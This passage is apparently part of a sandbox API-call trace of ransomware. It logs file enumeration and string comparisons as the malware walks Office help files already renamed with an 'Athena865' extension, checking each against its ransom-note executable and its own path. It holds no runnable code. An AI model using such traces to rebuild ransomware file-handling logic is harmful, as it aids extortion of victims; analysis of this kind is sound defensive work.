lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc498ce80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn.Athena865", cAlternateFileName="MSINFO~2.ATH")) returned 1 [0097.654] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.654] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.655] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.INFOPATHEDITOR.14.1033.hxn.Athena865" | out: lpString1="MS.INFOPATHEDITOR.14.1033.hxn.Athena865") returned="MS.INFOPATHEDITOR.14.1033.hxn.Athena865" [0097.655] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn.Athena865") returned 39 [0097.655] lstrlenW (lpString="Athena865") returned 9 [0097.655] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.655] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc498ce80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn.Athena865", cAlternateFileName="MSMSAC~1.ATH")) returned 1 [0097.655] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.655] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.655] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.MSACCESS.14.1033.hxn.Athena865" | out: lpString1="MS.MSACCESS.14.1033.hxn.Athena865") returned="MS.MSACCESS.14.1033.hxn.Athena865" [0097.655] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn.Athena865") returned 33 [0097.655] lstrlenW (lpString="Athena865") returned 9 [0097.655] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.655] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc49b2fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSMSAC~2.ATH")) returned 1 [0097.655] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.655] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.655] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.MSACCESS.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.MSACCESS.DEV.14.1033.hxn.Athena865") returned="MS.MSACCESS.DEV.14.1033.hxn.Athena865" [0097.655] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn.Athena865") returned 37 [0097.655] lstrlenW (lpString="Athena865") returned 9 [0097.655] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.655] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc49b2fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn.Athena865", cAlternateFileName="MSMSOU~1.ATH")) returned 1 [0097.655] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.655] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.655] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.MSOUC.14.1033.hxn.Athena865" | out: lpString1="MS.MSOUC.14.1033.hxn.Athena865") returned="MS.MSOUC.14.1033.hxn.Athena865" [0097.655] lstrlenW (lpString="MS.MSOUC.14.1033.hxn.Athena865") returned 30 [0097.655] lstrlenW (lpString="Athena865") returned 9 [0097.655] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.655] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc49d9140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn.Athena865", cAlternateFileName="MSMSPU~1.ATH")) returned 1 [0097.655] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.655] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.656] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.MSPUB.14.1033.hxn.Athena865" | out: lpString1="MS.MSPUB.14.1033.hxn.Athena865") returned="MS.MSPUB.14.1033.hxn.Athena865" [0097.656] lstrlenW (lpString="MS.MSPUB.14.1033.hxn.Athena865") returned 30 [0097.656] lstrlenW (lpString="Athena865") returned 9 [0097.656] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.656] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc49d9140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSMSPU~2.ATH")) returned 1 [0097.656] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.656] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.656] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.MSPUB.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.MSPUB.DEV.14.1033.hxn.Athena865") returned="MS.MSPUB.DEV.14.1033.hxn.Athena865" [0097.656] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn.Athena865") returned 34 [0097.656] lstrlenW (lpString="Athena865") returned 9 [0097.656] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.656] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc49ff2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn.Athena865", cAlternateFileName="MSMSTO~1.ATH")) returned 1 [0097.656] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.656] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.656] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.MSTORE.14.1033.hxn.Athena865" | out: lpString1="MS.MSTORE.14.1033.hxn.Athena865") returned="MS.MSTORE.14.1033.hxn.Athena865" [0097.656] lstrlenW (lpString="MS.MSTORE.14.1033.hxn.Athena865") returned 31 [0097.656] lstrlenW (lpString="Athena865") returned 9 [0097.656] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.656] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc49ff2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn.Athena865", cAlternateFileName="MSOIS1~1.ATH")) returned 1 [0097.656] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.656] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.656] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.OIS.14.1033.hxn.Athena865" | out: lpString1="MS.OIS.14.1033.hxn.Athena865") returned="MS.OIS.14.1033.hxn.Athena865" [0097.656] lstrlenW (lpString="MS.OIS.14.1033.hxn.Athena865") returned 28 [0097.656] lstrlenW (lpString="Athena865") returned 9 [0097.656] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.656] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4a25400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn.Athena865", cAlternateFileName="MSONEN~1.ATH")) returned 1 [0097.656] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.656] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.657] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.ONENOTE.14.1033.hxn.Athena865" | out: lpString1="MS.ONENOTE.14.1033.hxn.Athena865") returned="MS.ONENOTE.14.1033.hxn.Athena865" [0097.657] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn.Athena865") returned 32 [0097.657] lstrlenW (lpString="Athena865") returned 9 [0097.657] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.657] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4a25400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn.Athena865", cAlternateFileName="MSOUTL~1.ATH")) returned 1 [0097.657] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.657] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.657] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.OUTLOOK.14.1033.hxn.Athena865" | out: lpString1="MS.OUTLOOK.14.1033.hxn.Athena865") returned="MS.OUTLOOK.14.1033.hxn.Athena865" [0097.657] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn.Athena865") returned 32 [0097.657] lstrlenW (lpString="Athena865") returned 9 [0097.657] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.657] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4a4b560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSOUTL~2.ATH")) returned 1 [0097.657] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.657] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.657] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.OUTLOOK.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.OUTLOOK.DEV.14.1033.hxn.Athena865") returned="MS.OUTLOOK.DEV.14.1033.hxn.Athena865" [0097.657] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn.Athena865") returned 36 [0097.657] lstrlenW (lpString="Athena865") returned 9 [0097.657] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.657] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4a4b560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn.Athena865", cAlternateFileName="MSPOWE~1.ATH")) returned 1 [0097.657] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.657] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.657] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.POWERPNT.14.1033.hxn.Athena865" | out: lpString1="MS.POWERPNT.14.1033.hxn.Athena865") returned="MS.POWERPNT.14.1033.hxn.Athena865" [0097.657] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn.Athena865") returned 33 [0097.657] lstrlenW (lpString="Athena865") returned 9 [0097.657] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.657] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4a716c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSPOWE~2.ATH")) returned 1 [0097.657] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.657] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.658] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.POWERPNT.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.POWERPNT.DEV.14.1033.hxn.Athena865") returned="MS.POWERPNT.DEV.14.1033.hxn.Athena865" [0097.658] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn.Athena865") returned 37 [0097.658] lstrlenW (lpString="Athena865") returned 9 [0097.658] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.658] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4a716c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn.Athena865", cAlternateFileName="MSSETL~1.ATH")) returned 1 [0097.658] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.658] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.658] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.SETLANG.14.1033.hxn.Athena865" | out: lpString1="MS.SETLANG.14.1033.hxn.Athena865") returned="MS.SETLANG.14.1033.hxn.Athena865" [0097.658] lstrlenW (lpString="MS.SETLANG.14.1033.hxn.Athena865") returned 32 [0097.658] lstrlenW (lpString="Athena865") returned 9 [0097.658] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.658] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4a97820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~1.ATH")) returned 1 [0097.658] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.658] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.658] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.VISIO.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO.14.1033.hxn.Athena865") returned="MS.VISIO.14.1033.hxn.Athena865" [0097.658] lstrlenW (lpString="MS.VISIO.14.1033.hxn.Athena865") returned 30 [0097.658] lstrlenW (lpString="Athena865") returned 9 [0097.658] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.658] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4a97820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~2.ATH")) returned 1 [0097.658] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.658] lstrcmpiW (lpString1="MS.VISIO.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.658] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.VISIO.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO.DEV.14.1033.hxn.Athena865") returned="MS.VISIO.DEV.14.1033.hxn.Athena865" [0097.658] lstrlenW (lpString="MS.VISIO.DEV.14.1033.hxn.Athena865") returned 34 [0097.658] lstrlenW (lpString="Athena865") returned 9 [0097.658] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.658] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4abd980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~3.ATH")) returned 1 [0097.658] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.659] lstrcmpiW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.659] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865") returned="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865" [0097.659] lstrlenW (lpString="MS.VISIO.SHAPESHEET.14.1033.hxn.Athena865") returned 41 [0097.659] lstrlenW (lpString="Athena865") returned 9 [0097.659] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.659] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4abd980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn.Athena865", cAlternateFileName="MSVISI~4.ATH")) returned 1 [0097.659] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.659] lstrcmpiW (lpString1="MS.VISIO_PRM.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.659] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.VISIO_PRM.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO_PRM.14.1033.hxn.Athena865") returned="MS.VISIO_PRM.14.1033.hxn.Athena865" [0097.659] lstrlenW (lpString="MS.VISIO_PRM.14.1033.hxn.Athena865") returned 34 [0097.659] lstrlenW (lpString="Athena865") returned 9 [0097.659] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.659] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc4ae3ae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn.Athena865", cAlternateFileName="MS8AED~1.ATH")) returned 1 [0097.659] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.659] lstrcmpiW (lpString1="MS.VISIO_STD.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.659] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.VISIO_STD.14.1033.hxn.Athena865" | out: lpString1="MS.VISIO_STD.14.1033.hxn.Athena865") returned="MS.VISIO_STD.14.1033.hxn.Athena865" [0097.659] lstrlenW (lpString="MS.VISIO_STD.14.1033.hxn.Athena865") returned 34 [0097.659] lstrlenW (lpString="Athena865") returned 9 [0097.659] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.659] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4ae3ae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn.Athena865", cAlternateFileName="MSWINP~1.ATH")) returned 1 [0097.659] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.659] lstrcmpiW (lpString1="MS.WINPROJ.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.659] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.WINPROJ.14.1033.hxn.Athena865" | out: lpString1="MS.WINPROJ.14.1033.hxn.Athena865") returned="MS.WINPROJ.14.1033.hxn.Athena865" [0097.659] lstrlenW (lpString="MS.WINPROJ.14.1033.hxn.Athena865") returned 32 [0097.659] lstrlenW (lpString="Athena865") returned 9 [0097.660] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.660] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4b09c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSWINP~2.ATH")) returned 1 [0097.660] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.660] lstrcmpiW 